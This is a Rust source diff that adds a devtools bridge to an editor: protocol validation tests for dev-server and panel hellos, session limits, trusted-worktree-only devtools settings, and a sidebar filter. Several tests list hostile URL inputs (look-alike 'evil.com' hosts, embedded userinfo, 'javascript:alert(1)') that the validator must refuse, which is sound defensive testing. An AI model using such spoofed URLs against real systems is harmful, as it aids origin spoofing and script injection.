+                let hits: Vec<&str> = G14_REFUSED
+                    .iter()
+                    .filter(|(_, other)| urls.iter().any(|url| other(url)))
+                    .map(|(name, _)| *name)
+                    .collect();
+                hits == [what]
+            })
+            .collect();
+        if isolated.is_empty() {
+            problems.push(format!("no invalid dev_server hello carrying {what} alone"));
+        }
+        for (file, value, expect) in isolated {
+            let verdict = client_verdict(value);
+            if expect.as_deref() != Some("bad_request") || verdict != "bad_request" {
+                problems.push(format!(
+                    "{} ({what}): $expect {expect:?}, Rust says {verdict}; both must be bad_request",
+                    file.display()
+                ));
+            }
+        }
+    }
+
+    // Converse: an explicit `:80`, which `new URL(...)` drops, is a valid URL to both sides.
+    let explicit_80: Vec<_> = fixtures(&dir.join("client/valid"))
+        .into_iter()
+        .filter(|(_, value, _)| {
+            dev_server_urls(value)
+                .iter()
+                .any(|url| written_port(url) == Some("80"))
+        })
+        .collect();
+    if explicit_80.is_empty() {
+        problems.push("no valid dev_server hello whose URL carries an explicit :80".to_string());
+    }
+    for (file, value, _) in &explicit_80 {
+        let verdict = client_verdict(value);
+        if verdict != "accepted" {
+            problems.push(format!(
+                "{} (explicit :80): zod accepts, Rust says {verdict}",
+                file.display()
+            ));
+        }
+    }
+    assert!(problems.is_empty(), "{}", problems.join("\n"));
+}
+
+/// The predicates themselves, so a fixture that slips past them is the fixture's fault.
+#[test]
+fn contract_agreement_v2_g14_predicates_recognise_each_input() {
+    let cases = [
+        ("http://localhost:5173/?", "an empty `?`"),
+        ("http://localhost:5173/app/?#", "an empty `?`"),
+        ("http://localhost:5173/#", "an empty `#`"),
+        ("http://localhost:0", "port 0"),
+        ("http://127.0.0.1:0/app/", "port 0"),
+        ("http://local\thost:5173", "a tab"),
+        ("http://localhost:5173\\app", "a backslash"),
+    ];
+    for (url, expected) in cases {
+        let hits: Vec<&str> = G14_REFUSED
+            .iter()
+            .filter(|(_, matches)| matches(url))
+            .map(|(name, _)| *name)
+            .collect();
+        assert!(hits.contains(&expected), "{url:?} is {expected}: {hits:?}");
+    }
+    for url in [
+        "http://localhost:5173/app/",
+        "http://localhost:5173/?token=x",
+        "http://localhost:80/",
+        "http://localhost:8080",
+    ] {
+        assert!(
+            G14_REFUSED.iter().all(|(_, matches)| !matches(url)),
+            "{url:?} carries no G14 input"
+        );
+    }
+    assert_eq!(written_port("http://localhost:80/app/"), Some("80"));
+    assert_eq!(written_port("http://[::1]:80"), Some("80"));
+    assert_eq!(written_port("http://localhost:8080"), Some("8080"));
+}
diff --git a/crates/devtools_bridge/src/listener.rs b/crates/devtools_bridge/src/listener.rs
index d0ce3ee..4f99e7d 100644
--- a/crates/devtools_bridge/src/listener.rs
+++ b/crates/devtools_bridge/src/listener.rs
@@ -36,7 +36,7 @@ use smol::io::{AsyncReadExt as _, AsyncWriteExt as _};
 use smol::lock::{Semaphore, SemaphoreGuardArc};
 use smol::{Async, Executor, Timer};
 
-use crate::channel::{self, ChannelError, ClientMsg, ServerMsg, V2};
+use crate::channel::{self, ChannelError, ClientInfo, ClientMsg, ServerMsg, V2};
 use crate::protocol::{self, DevtoolsError, DevtoolsResult, DevtoolsSelection, WireVersion};
 
 /// Called once per request that passed validation; its result is the connection's answer.
@@ -86,7 +86,8 @@ pub const READ_DEADLINE: Duration = Duration::from_secs(5);
 pub const RESPONSE_DEADLINE: Duration = Duration::from_secs(9);
 pub const MAX_CONNECTIONS: usize = 4;
 /// Open browser sessions, counted apart from the `MAX_CONNECTIONS` short-lived places (R3.4).
-pub const SESSION_PLACES: usize = 4;
+/// Eight since story 055, so a dev server's announce, two panels and the extension fit.
+pub const SESSION_PLACES: usize = 8;
 /// Undelivered lines a session may hold; one more overflows it into `overloaded` (R3.8).
 pub const SESSION_QUEUE_LINES: usize = 256;
 /// `Message` events of one session the consumer may hold unconsumed. At the bound the session
@@ -933,42 +934,51 @@ pub struct MessagePermit {
 /// connection shares that thread, so a handler that blocks stalls the whole bridge.
 pub type SessionHandler = Arc<dyn Fn(SessionEvent) + Send + Sync>;
 
-/// Who a session is, as the native host injected it into the `hello`. Only these two fields
-/// ever reach a log line.
-struct Peer {
-    browser: &'static str,
-    extension: String,
+/// Who a session is, as its `hello` says. Only these fields ever reach a log line.
+enum Peer {
+    /// As the native host injected it.
+    Extension {
+        browser: &'static str,
+        extension: String,
+    },
+    /// A dev server or a panel page; `agent_ui::browser_channel`, which answers those sessions,
+    /// logs their root.
+    Devtools { client: &'static str },
 }
 
 impl Peer {
     /// The request id to echo and the peer, or `None` when `msg` is not a `hello`.
     fn of_hello(msg: &ClientMsg) -> Option<(Option<String>, Self)> {
-        match msg {
-            ClientMsg::Hello { id, client, .. } => Some((
-                id.clone(),
-                Self {
-                    browser: client.browser.code(),
-                    // Unbounded on the wire; a log line keeps the length an id has and the
-                    // characters ids are made of, so no URL can reach it (R13.4).
-                    extension: agent_ui::browser_channel::loggable_extension_id(
-                        &client.extension_id,
-                    ),
-                },
-            )),
-            _ => None,
-        }
+        let ClientMsg::Hello { id, client, .. } = msg else {
+            return None;
+        };
+        let peer = match client {
+            ClientInfo::Extension(extension) => Self::Extension {
+                browser: extension.browser.code(),
+                // Unbounded on the wire; a log line keeps the length an id has and the
+                // characters ids are made of, so no URL can reach it (R13.4).
+                extension: agent_ui::browser_channel::loggable_extension_id(
+                    &extension.extension_id,
+                ),
+            },
+            ClientInfo::DevServer { .. } | ClientInfo::Panel { .. } => Self::Devtools {
+                client: client.kind(),
+            },
+        };
+        Some((id.clone(), peer))
     }
 }
 
 impl fmt::Display for Peer {
     fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
-        // Debug-quoted: the extension id is the peer's own string, so it must not be able to
-        // forge a field or a line.
-        write!(
-            formatter,
-            "browser={} extension={:?}",
-            self.browser, self.extension
-        )
+        match self {
+            // Debug-quoted: the extension id is the peer's own string, so it must not be able to
+            // forge a field or a line.
+            Self::Extension { browser, extension } => {
+                write!(formatter, "browser={browser} extension={extension:?}")
+            }
+            Self::Devtools { client } => write!(formatter, "client={client}"),
+        }
     }
 }
 
diff --git a/crates/devtools_bridge/src/panel_channel_tests.rs b/crates/devtools_bridge/src/panel_channel_tests.rs
new file mode 100644
index 0000000..cd759a0
--- /dev/null
+++ b/crates/devtools_bridge/src/panel_channel_tests.rs
@@ -0,0 +1,349 @@
+// Story 055, task 8.1 — the v2 wire additions for dev-server and panel sessions (design.md §B1,
+// §Data Models "Wire additions", GOTCHA G12). Requirements: R2.1, R5.1, R7.1, R7.3, R9.3
+// (Q2, Q4, Q5, Q14). Wired in the crate root `src/devtools_bridge.rs` as
+//
+//     #[cfg(test)]
+//     mod panel_channel_tests;
+//
+// Validation: `cargo test -p devtools_bridge panel_channel` (paths `panel_channel_tests::…`), plus
+// 045's `cargo test -p agent_ui browser_channel` still passing.
+//
+// Contract, as 045's channel_tests reach it (adjust the `use` and `verdict` only if one moved):
+//   - `crate::channel::parse_client(line: &[u8]) -> Result<ClientMsg, ChannelError>`;
+//   - `crate::channel::encode_server(&ServerMsg) -> Result<String, EncodeError>`, and `ServerMsg`
+//     deserializes from the wire;
+//   - `ChannelError` (de)serializes as its snake_case code and has `fatal()`;
+//   - `crate::listener::SESSION_PLACES`.
+// Messages are built from wire JSON, so the test pins field names and codes, not Rust variants.
+//
+// Hostile halves first:
+//   - G12, the missing-tag default must not swallow a WRONG tag: a 045 hello with no `kind`
+//     parses as an extension, while `kind: "dev-server"` (a typo) and an extension's fields under
+//     `kind: "panel"` are refused — a default that applied to any unknown tag would turn every
+//     typo into an extension;
+//   - identity: a dev_server hello and a panel hello never parse as one another (the panel shape
+//     carries no URLs, the dev-server shape needs both);
+//   - limits count bytes: a 4096-byte root of 2-byte characters passes and 4097 bytes fails;
+//   - URL rule (amended): `http:` on `localhost`, `127.0.0.1` or `[::1]` with an EXPLICIT port and
+//     ANY path (Vite's `base`, `http://localhost:5173/app/`) is accepted; a look-alike host,
+//     userinfo, `https:`, `0.0.0.0`, a missing port, a query or a fragment is refused — paths are
+//     allowed, so each refusal must come from its own rule; the 2048-byte cap is inclusive;
+//   - `fatal()`: the three new codes keep the session open (R9.3), in both directions — the
+//     session-ending codes stay fatal.
+
+use serde_json::{Value, json};
+
+use crate::channel::{ChannelError, ClientMsg, ServerMsg, encode_server, parse_client};
+
+fn code(error: &ChannelError) -> String {
+    match serde_json::to_value(error) {
+        Ok(Value::String(code)) => code,
+        other => panic!("ChannelError must serialize to its wire code, got {other:?}"),
+    }
+}
+
+fn error(code: &str) -> ChannelError {
+    serde_json::from_value(json!(code)).unwrap_or_else(|e| panic!("{code} is a ChannelError: {e}"))
+}
+
+fn parse(value: &Value) -> Result<ClientMsg, ChannelError> {
+    parse_client(&serde_json::to_vec(value).expect("json"))
+}
+
+fn verdict(value: &Value) -> String {
+    match parse(value) {
+        Ok(_) => "accepted".to_string(),
+        Err(error) => code(&error),
+    }
+}
+
+/// The `client` object of a parsed hello, re-serialized: how the test tells identities apart
+/// without naming Rust variants.
+fn client_of(value: &Value) -> Value {
+    let msg = parse(value).unwrap_or_else(|e| panic!("{value} parses: {e:?}"));
+    assert_eq!(msg.kind(), "hello");
+    let wire = serde_json::to_value(&msg).expect("ClientMsg serializes");
+    wire["client"].clone()
+}
+
+const ROOT: &str = "/home/dev/app";
+
+fn extension_hello(extra: Value) -> Value {
+    let mut client = json!({
+        "browser": "chrome",
+        "extension_id": "dhbddmompicnipfolmglmbnlpgglojid",
+        "extension_version": "0.1.0"
+    });
+    client
+        .as_object_mut()
+        .expect("object")
+        .extend(extra.as_object().cloned().unwrap_or_default());
+    json!({ "v": 2, "kind": "hello", "id": "h1", "client": client })
+}
+
+fn dev_hello(extra: Value) -> Value {
+    let mut client = json!({
+        "kind": "dev_server",
+        "root": ROOT,
+        "app_url": "http://localhost:5173",
+        "panel_url": "http://localhost:5174"
+    });
+    client
+        .as_object_mut()
+        .expect("object")
+        .extend(extra.as_object().cloned().unwrap_or_default());
+    json!({ "v": 2, "kind": "hello", "id": "h1", "client": client })
+}
+
+fn panel_hello(extra: Value) -> Value {
+    let mut client = json!({ "kind": "panel", "root": ROOT });
+    client
+        .as_object_mut()
+        .expect("object")
+        .extend(extra.as_object().cloned().unwrap_or_default());
+    json!({ "v": 2, "kind": "hello", "id": "h1", "client": client })
+}
+
+/// A root of exactly `bytes` UTF-8 bytes, mostly 2-byte characters.
+fn root_of_bytes(bytes: usize) -> String {
+    let rest = bytes - 1;
+    format!("/{}{}", "é".repeat(rest / 2), "x".repeat(rest % 2))
+}
+
+// ---- G12: the extension stays the default ---------------------------------------------------
+
+#[test]
+fn hostile_a_kind_typo_is_refused_never_defaulted_to_extension() {
+    for typo in [
+        "dev-server",
+        "devServer",
+        "Dev_server",
+        "panel ",
+        "extensions",
+        "",
+    ] {
+        assert_eq!(
+            verdict(&dev_hello(json!({ "kind": typo }))),
+            "bad_request",
+            "kind {typo:?}"
+        );
+    }
+}
+
+#[test]
+fn hostile_extension_fields_under_a_panel_kind_are_refused() {
+    assert_eq!(
+        verdict(&extension_hello(json!({ "kind": "panel" }))),
+        "bad_request"
+    );
+    assert_eq!(
+        verdict(&extension_hello(json!({ "kind": "dev_server" }))),
+        "bad_request"
+    );
+}
+
+#[test]
+fn a_045_hello_without_kind_still_parses_as_an_extension() {
+    let client = client_of(&extension_hello(json!({})));
+    assert_eq!(client["extension_id"], "dhbddmompicnipfolmglmbnlpgglojid");
+    assert!(
+        client.get("kind").is_none() || client["kind"] == "extension",
+        "an extension, not another identity: {client}"
+    );
+    // The explicit spelling is the same identity.
+    let explicit = client_of(&extension_hello(json!({ "kind": "extension" })));
+    assert_eq!(explicit["extension_id"], client["extension_id"]);
+}
+
+#[test]
+fn a_045_hello_with_an_unknown_field_is_still_refused() {
+    assert_eq!(
+        verdict(&extension_hello(json!({ "token": "x" }))),
+        "bad_request"
+    );
+}
+
+// ---- the two new identities ----------------------------------------------------------------
+
+#[test]
+fn hostile_dev_server_and_panel_hellos_are_never_each_other() {
+    // A panel hello carrying URLs, and a dev-server hello without them.
+    assert_eq!(
+        verdict(&panel_hello(json!({ "app_url": "http://localhost:5173" }))),
+        "bad_request"
+    );
+    let mut no_urls = dev_hello(json!({}));
+    let client = no_urls["client"].as_object_mut().expect("object");
+    client.remove("app_url");
+    client.remove("panel_url");
+    assert_eq!(verdict(&no_urls), "bad_request");
+    let mut no_panel = dev_hello(json!({}));
+    no_panel["client"]
+        .as_object_mut()
+        .expect("object")
+        .remove("panel_url");
+    assert_eq!(verdict(&no_panel), "bad_request");
+}
+
+#[test]
+fn dev_server_and_panel_hellos_parse_and_round_trip() {
+    let dev = client_of(&dev_hello(json!({})));
+    assert_eq!(dev["kind"], "dev_server");
+    assert_eq!(dev["root"], ROOT);
+    assert_eq!(dev["app_url"], "http://localhost:5173");
+    assert_eq!(dev["panel_url"], "http://localhost:5174");
+    let panel = client_of(&panel_hello(json!({})));
+    assert_eq!(panel["kind"], "panel");
+    assert_eq!(panel["root"], ROOT);
+}
+
+#[test]
+fn hostile_a_relative_root_is_refused() {
+    assert_eq!(
+        verdict(&panel_hello(json!({ "root": "app" }))),
+        "bad_request"
+    );
+    assert_eq!(
+        verdict(&dev_hello(json!({ "root": "./home/dev/app" }))),
+        "bad_request"
+    );
+}
+
+#[test]
+fn hostile_the_root_cap_counts_bytes() {
+    let at = root_of_bytes(4096);
+    let over = root_of_bytes(4097);
+    assert_eq!(at.len(), 4096);
+    assert_eq!(over.len(), 4097);
+    assert!(
+        at.chars().count() < 4096,
+        "the case a char count would get wrong"
+    );
+    assert_ne!(verdict(&panel_hello(json!({ "root": over }))), "accepted");
+    assert_eq!(verdict(&panel_hello(json!({ "root": at }))), "accepted");
+}
+
+#[test]
+fn hostile_urls_that_only_look_local_or_carry_userinfo_query_or_fragment_are_refused() {
+    for url in [
+        "http://localhost.evil.com:5173",
+        "http://localhost@evil.com:5173",
+        "http://u:p@localhost:5173/",
+        "http://evil.com:5173",
+        "https://localhost:5173",
+        "http://0.0.0.0:5173",
+        "http://127.0.0.1.evil.com:5173",
+        "http://localhost/",
+        "http://localhost",
+        "http://localhost:5173/?token=x",
+        "http://localhost:5173/app/#frag",
+        "javascript:alert(1)",
+        "ws://localhost:5173",
+        "localhost:5173",
+    ] {
+        assert_eq!(
+            verdict(&dev_hello(json!({ "app_url": url }))),
+            "bad_request",
+            "app_url {url}"
+        );
+        assert_eq!(
+            verdict(&dev_hello(json!({ "panel_url": url }))),
+            "bad_request",
+            "panel_url {url}"
+        );
+    }
+}
+
+#[test]
+fn hostile_the_url_cap_is_2048_bytes_inclusive() {
+    let base = "http://localhost:5173/";
+    let at = format!("{base}{}", "a".repeat(2048 - base.len()));
+    let over = format!("{base}{}", "a".repeat(2049 - base.len()));
+    assert_eq!(at.len(), 2048);
+    assert_eq!(verdict(&dev_hello(json!({ "app_url": at }))), "accepted");
+    assert_ne!(verdict(&dev_hello(json!({ "app_url": over }))), "accepted");
+}
+
+#[test]
+fn local_urls_with_a_port_and_any_path_are_accepted() {
+    for url in [
+        "http://localhost:5173",
+        "http://localhost:5173/",
+        "http://localhost:5173/app/",
+        "http://127.0.0.1:5173/nested/base/",
+        "http://[::1]:5173",
+        "http://[::1]:5173/app/",
+    ] {
+        assert_eq!(
+            verdict(&dev_hello(json!({ "app_url": url, "panel_url": url }))),
+            "accepted",
+            "{url}"
+        );
+    }
+}
+
+// ---- create_thread and the new server kinds ---------------------------------------------------
+
+#[test]
+fn create_thread_is_an_empty_request() {
+    let msg = parse(&json!({ "v": 2, "kind": "create_thread", "id": "c1" }))
+        .expect("create_thread parses");
+    assert_eq!(msg.kind(), "create_thread");
+    assert_eq!(msg.request_id(), Some("c1"));
+    assert_eq!(
+        verdict(&json!({ "v": 2, "kind": "create_thread", "id": "c1", "root": "/elsewhere" })),
+        "bad_request",
+        "a panel never names the root it creates in"
+    );
+}
+
+#[test]
+fn created_project_open_and_project_closed_round_trip() {
+    let thread = json!({
+        "thread_id": "5f0c2a9e-7b1d-4c3a-9e4f-2d8b6a1c0e7f",
+        "title": "New thread",
+        "project": "app",
+        "agent": "Claude Agent",
+        "status": "idle",
+        "followed": false
+    });
+    for wire in [
+        json!({ "v": 2, "kind": "created", "id": "c1", "thread": thread }),
+        json!({ "v": 2, "kind": "project_open" }),
+        json!({ "v": 2, "kind": "project_closed" }),
+    ] {
+        let msg: ServerMsg = serde_json::from_value(wire.clone())
+            .unwrap_or_else(|e| panic!("{wire} deserializes: {e}"));
+        let line = encode_server(&msg).expect("encodes");
+        let back: Value = serde_json::from_str(line.trim_end()).expect("json line");
+        assert_eq!(back, wire);
+    }
+}
+
+#[test]
+fn hostile_the_new_codes_keep_the_session_and_the_old_fatal_ones_stay_fatal() {
+    for c in ["not_found", "project_closed", "agent_start_failed"] {
+        let e = error(c);
+        assert_eq!(code(&e), c);
+        assert!(!e.fatal(), "{c} must keep the session open (R9.3)");
+    }
+    for c in ["busy", "overloaded", "approval_denied"] {
+        assert!(error(c).fatal(), "{c} still ends the session");
+    }
+}
+
+#[test]
+fn a_follow_subscribe_still_parses_on_the_wire() {
+    // Refusing it to a panel is policy (task 11.1), not parsing: the extension still uses it.
+    assert_eq!(
+        verdict(&json!({ "v": 2, "kind": "subscribe", "id": "s", "target": { "follow": true } })),
+        "accepted"
+    );
+}
+
+// ---- session cap ---------------------------------------------------------------------------
+
+#[test]
+fn eight_sessions_fit_an_announce_two_panels_and_the_extension() {
+    assert_eq!(crate::listener::SESSION_PLACES, 8);
+}
diff --git a/crates/devtools_bridge/src/session_tests.rs b/crates/devtools_bridge/src/session_tests.rs
index 2e2e088..e7ac1f0 100644
--- a/crates/devtools_bridge/src/session_tests.rs
+++ b/crates/devtools_bridge/src/session_tests.rs
@@ -239,9 +239,14 @@ fn session_v2_first_line_that_is_not_hello_is_bad_request_and_closed() {
 #[test]
 fn session_a_fifth_hello_is_busy_while_the_v1_places_stay_free() {
     let bridge = start_bridge(true);
-    let mut sessions: Vec<Client> = (0..4).map(|_| Client::hello(&bridge.dir)).collect();
-    for session in &mut sessions {
+    // Every place taken (story 055 raised `SESSION_PLACES` from 4 to 8); the next hello is busy.
+    // One at a time: a hello still on its first line holds one of the `MAX_CONNECTIONS` places,
+    // so more simultaneous connections than those would be closed before they say hello.
+    let mut sessions: Vec<Client> = Vec::new();
+    for _ in 0..crate::listener::SESSION_PLACES {
+        let mut session = Client::hello(&bridge.dir);
         assert_eq!(session.line().expect("welcome")["kind"], "welcome");
+        sessions.push(session);
     }
     let mut fifth = Client::hello(&bridge.dir);
     let busy = fifth.line().expect("an answer");
diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs
index e3c2b07..0b5cacf 100644
--- a/crates/settings/src/vscode_import.rs
+++ b/crates/settings/src/vscode_import.rs
@@ -552,6 +552,7 @@ impl VsCodeSettings {
             load_direnv: None,
             git_hosting_providers: None,
             disable_ai: None,
+            devtools: None,
         }
     }
 
diff --git a/crates/settings_content/src/project.rs b/crates/settings_content/src/project.rs
index cff041f..e25c97e 100644
--- a/crates/settings_content/src/project.rs
+++ b/crates/settings_content/src/project.rs
@@ -85,16 +85,68 @@ pub struct ProjectSettingsContent {
     ///
     /// Default: false
     pub disable_ai: Option<SaturatingBool>,
+
+    /// Settings for `devtools: start`. A project settings file sets them only
+    /// for a trusted worktree: in an untrusted one they are ignored.
+    pub devtools: Option<DevtoolsSettingsContent>,
 }
 
 crate::fallible_options::flattened_deserialize!(ProjectSettingsContent {
     sections: { all_languages, worktree },
     options: {
         terminal, context_server_timeout, load_direnv, git_hosting_providers, disable_ai,
+        devtools,
     },
     defaults: { lsp, dap, context_servers },
 });
 
+/// Configuration for `devtools: start`, which runs a project's dev server.
+#[with_fallible_options]
+#[derive(Clone, Debug, Default, PartialEq, Eq, Serialize, Deserialize, JsonSchema, MergeFrom)]
+pub struct DevtoolsSettingsContent {
+    /// The command `devtools: start` runs instead of the project's `dev`
+    /// script, through the terminal's shell. Honoured only in a trusted
+    /// worktree, because a project file would otherwise choose what runs.
+    ///
+    /// Default: null
+    pub dev_command: Option<String>,
+    /// Where `devtools: open in browser` opens the panel. Read from the user
+    /// settings file only: a project settings file cannot choose the browser.
+    ///
+    /// Default: isolated
+    pub browser: Option<DevtoolsBrowserContent>,
+    /// An unpacked browser extension the isolated Chromium loads, when the
+    /// directory holds a `manifest.json`. Read from the user settings file
+    /// only: a project settings file cannot make Zeo load an extension.
+    ///
+    /// Default: null
+    pub browser_extension_path: Option<PathBuf>,
+}
+
+/// The browser `devtools: open in browser` opens the panel in.
+#[derive(
+    Clone,
+    Copy,
+    Debug,
+    Default,
+    Eq,
+    PartialEq,
+    Serialize,
+    Deserialize,
+    JsonSchema,
+    MergeFrom,
+    strum::VariantArray,
+    strum::VariantNames,
+)]
+#[serde(rename_all = "snake_case")]
+pub enum DevtoolsBrowserContent {
+    /// A Chromium window with its own profile, beside the operator's browser.
+    #[default]
+    Isolated,
+    /// The system's default browser.
+    System,
+}
+
 /// When to scan content of linked directories.
 #[derive(
     Copy,
diff --git a/crates/sidebar/src/organization.rs b/crates/sidebar/src/organization.rs
index e7e0d95..b75df66 100644
--- a/crates/sidebar/src/organization.rs
+++ b/crates/sidebar/src/organization.rs
@@ -335,7 +335,7 @@ impl Sidebar {
     ) {
         // A filtered list shows part of the order, and recording it would drop every hidden
         // thread's place. The drag-offer gate is not enough: text typed mid-drag gets past it.
-        if self.has_filter_query(cx) {
+        if self.is_filtering(cx) {
             return;
         }
         // Without the store no drag is offered, so there is nothing to report.
@@ -407,7 +407,7 @@ impl Sidebar {
         thread: &ThreadEntry,
         cx: &mut Context<Self>,
     ) -> AnyElement {
-        if ThreadOrganizationStore::try_global(cx).is_none() || self.has_filter_query(cx) {
+        if ThreadOrganizationStore::try_global(cx).is_none() || self.is_filtering(cx) {
             return row;
         }
         // A Lists row's `ix` indexes that view's rows, not `contents`: no group order to drag in.
diff --git a/crates/sidebar/src/pinned_section.rs b/crates/sidebar/src/pinned_section.rs
index 0bfc5fb..2951952 100644
--- a/crates/sidebar/src/pinned_section.rs
+++ b/crates/sidebar/src/pinned_section.rs
@@ -41,6 +41,7 @@ pub(crate) struct PinnedBuildContext<'a> {
     pub path_detail_map: &'a HashMap<PathBuf, usize>,
     pub branch_by_path: &'a HashMap<PathBuf, SharedString>,
     pub resolve_agent_icon: &'a dyn Fn(&AgentId) -> (IconName, Option<SharedString>),
+    pub is_devtools: &'a dyn Fn(ThreadId) -> bool,
     pub new_live_statuses: &'a mut HashMap<acp::SessionId, (AgentThreadStatus, ThreadId)>,
     pub notified_threads: &'a mut HashSet<ThreadId>,
 }
@@ -116,6 +117,7 @@ pub(crate) fn build_pinned_rows(
                 worktrees,
                 diff_stats: DiffStats::default(),
                 pinned_project_label: Some(label),
+                is_devtools: (context.is_devtools)(metadata.thread_id),
             });
             apply_live_row_state(
                 &mut row,
diff --git a/crates/sidebar/src/sidebar.rs b/crates/sidebar/src/sidebar.rs
index 0925116..89f796c 100644
--- a/crates/sidebar/src/sidebar.rs
+++ b/crates/sidebar/src/sidebar.rs
@@ -7,6 +7,7 @@ use action_log::DiffStats;
 use agent::{ThreadStore, ZED_AGENT_ID};
 use agent_client_protocol::v2::schema as acp;
 use agent_settings::{AgentSettings, THREADS_LIST_MAX_WIDTH, THREADS_LIST_MIN_WIDTH};
+use agent_ui::devtools_threads::DevtoolsThreads;
 use agent_ui::terminal_thread_metadata_store::{
     TerminalThreadMetadata, TerminalThreadMetadataStore, terminal_title_prefix,
 };
@@ -112,6 +113,9 @@ mod sidebar_tags_notify_tests;
 mod sidebar_tags_tests;
 mod thread_tags;
 
+#[cfg(test)]
+mod sidebar_devtools_tests;
+
 mod lists_view;
 #[cfg(test)]
 mod sidebar_lists_tests;
@@ -404,6 +408,9 @@ struct ThreadEntry {
     /// `Some` only on a row of the Pinned section, which names the thread's project because it
     /// sits outside its project group.
     pinned_project_label: Option<SharedString>,
+    /// Whether the thread carries a devtools mark, in memory or persisted: the row's badge and
+    /// what the "Devtools threads only" filter keeps.
+    is_devtools: bool,
 }
 
 #[derive(Clone)]
@@ -993,6 +1000,10 @@ pub struct Sidebar {
     /// The last write of `pinned_collapsed`. Each write waits for the one before it, so
     /// a quick collapse-then-expand cannot land in the store in the wrong order.
     pinned_collapsed_write: Option<Task<()>>,
+    /// The devtools marks, `None` in a host that never installed the organization store.
+    devtools_threads: Option<Entity<DevtoolsThreads>>,
+    /// Never serialized, like a search text: lists only the devtools threads.
+    devtools_only: bool,
 }
 
 impl Sidebar {
@@ -1080,6 +1091,20 @@ impl Sidebar {
         })
         .detach();
 
+        // `agent_ui::init` builds the registry, so in the app this only looks it up and never
+        // builds it from a render. Building it here covers a host that installed the organization
+        // store without `agent_ui::init`; one that has no such store has no persisted mark to
+        // read, and building the registry would install that store for it.
+        let devtools_threads = DevtoolsThreads::try_global(cx).or_else(|| {
+            ThreadOrganizationStore::try_global(cx).map(|_| DevtoolsThreads::global(cx))
+        });
+        if let Some(devtools_threads) = &devtools_threads {
+            cx.observe(devtools_threads, |this, _threads, cx| {
+                this.schedule_update_entries(false, cx);
+            })
+            .detach();
+        }
+
         cx.observe(
             &TerminalThreadMetadataStore::global(cx),
             |this, _store, cx| {
@@ -1147,6 +1172,8 @@ impl Sidebar {
             cross_channel_import_channels: Vec::new(),
             pinned_collapsed: read_pinned_collapsed(cx),
             pinned_collapsed_write: None,
+            devtools_threads,
+            devtools_only: false,
         }
     }
 
@@ -1650,6 +1677,14 @@ impl Sidebar {
 
         let query = self.filter_editor.read(cx).text(cx);
         let tag_query = agent_ui::thread_tag_filter::parse_tag_query(&query);
+        let devtools_only = self.devtools_only;
+        let devtools_threads = self
+            .devtools_threads
+            .as_ref()
+            .map(|threads| threads.read(cx));
+        let is_devtools = |thread_id: ThreadId| {
+            devtools_threads.is_some_and(|threads| threads.is_devtools(thread_id).is_some())
+        };
 
         let previous = mem::take(&mut self.contents);
 
@@ -1839,6 +1874,9 @@ impl Sidebar {
                     .has_notification
                     .then_some(terminal.metadata.terminal_id)
             }));
+            if devtools_only {
+                terminals.clear();
+            }
             if group_key.path_list().paths().is_empty() {
                 continue;
             }
@@ -1846,7 +1884,7 @@ impl Sidebar {
             let label = group_key.display_name(&path_detail_map);
 
             let is_collapsed = self.is_group_collapsed(group_key, cx);
-            let should_load_threads = !is_collapsed || !query.is_empty();
+            let should_load_threads = !is_collapsed || !query.is_empty() || devtools_only;
 
             let is_active = active_workspace
                 .as_ref()
@@ -1882,6 +1920,7 @@ impl Sidebar {
                         // pass below downgrades them to `Empty` if no draft
                         // label can be derived.
                         let draft = row.is_draft().then_some(DraftKind::WithContent);
+                        let is_devtools = is_devtools(row.thread_id);
                         Arc::new(ThreadEntry {
                             metadata: row,
                             icon,
@@ -1896,6 +1935,7 @@ impl Sidebar {
                             worktrees,
                             diff_stats: DiffStats::default(),
                             pinned_project_label: None,
+                            is_devtools,
                         })
                     };
 
@@ -2009,6 +2049,11 @@ impl Sidebar {
                     if thread.draft != Some(DraftKind::Empty) {
                         return true;
                     }
+                    // A devtools draft is bound to a browser panel, which may write to it at any
+                    // moment: it is listed like a thread, not only while it is the active one.
+                    if thread.is_devtools {
+                        return true;
+                    }
                     if pending_activation.is_some() {
                         return false;
                     }
@@ -2051,6 +2096,18 @@ impl Sidebar {
                     let b_time = Self::thread_display_time(&b.metadata);
                     b_time.cmp(&a_time)
                 });
+
+                if devtools_only {
+                    // Hidden, not gone: registered so the retains below keep their access times
+                    // and notifications for when the filter is turned off.
+                    current_thread_ids.extend(
+                        threads
+                            .iter()
+                            .filter(|thread| !thread.is_devtools)
+                            .map(|thread| thread.metadata.thread_id),
+                    );
+                    threads.retain(|thread| thread.is_devtools);
+                }
             } else {
                 for info in live_infos {
                     if info.status == AgentThreadStatus::Running {
@@ -2183,7 +2240,10 @@ impl Sidebar {
                 if tag_query.has_keys() && matched_threads.is_empty() {
                     continue;
                 }
-                if matched_threads.is_empty() && matched_terminals.is_empty() && !workspace_matched
+                // A project whose name matches still lists no thread when none is a devtools one.
+                if matched_threads.is_empty()
+                    && matched_terminals.is_empty()
+                    && (!workspace_matched || devtools_only)
                 {
                     continue;
                 }
@@ -2218,6 +2278,10 @@ impl Sidebar {
                     cx,
                 );
             } else {
+                if devtools_only && threads.is_empty() {
+                    continue;
+                }
+
                 let has_terminal_notifications = terminals
                     .iter()
                     .any(|t| notified_terminals.contains(&t.metadata.terminal_id));
@@ -2259,7 +2323,8 @@ impl Sidebar {
                     has_threads,
                 });
 
-                if is_collapsed {
+                // Like a search text, the filter shows its matches in a collapsed group too.
+                if is_collapsed && !devtools_only {
                     continue;
                 }
 
@@ -2284,6 +2349,7 @@ impl Sidebar {
                 path_detail_map: &path_detail_map,
                 branch_by_path: &branch_by_path,
                 resolve_agent_icon: &resolve_agent_icon,
+                is_devtools: &is_devtools,
                 new_live_statuses: &mut new_live_statuses,
                 notified_threads: &mut notified_threads,
             },
@@ -2293,7 +2359,16 @@ impl Sidebar {
             thread_tags::retain_tagged_rows(pinned_rows, &tag_query, &mut current_thread_ids, cx);
         // Like a group's rows, a pinned row the filter drops is not registered below, so the
         // header is decided by, and reports notifications of, only the rows that are shown.
-        let pinned_rows = pinned_section::filter_pinned_rows(pinned_rows, &query);
+        let mut pinned_rows = pinned_section::filter_pinned_rows(pinned_rows, &query);
+        if devtools_only {
+            current_thread_ids.extend(
+                pinned_rows
+                    .iter()
+                    .filter(|row| !row.is_devtools)
+                    .map(|row| row.metadata.thread_id),
+            );
+            pinned_rows.retain(|row| row.is_devtools);
+        }
         if !pinned_rows.is_empty() {
             // Registered even while the section is collapsed, so the retains below keep the
             // notifications its header reports.
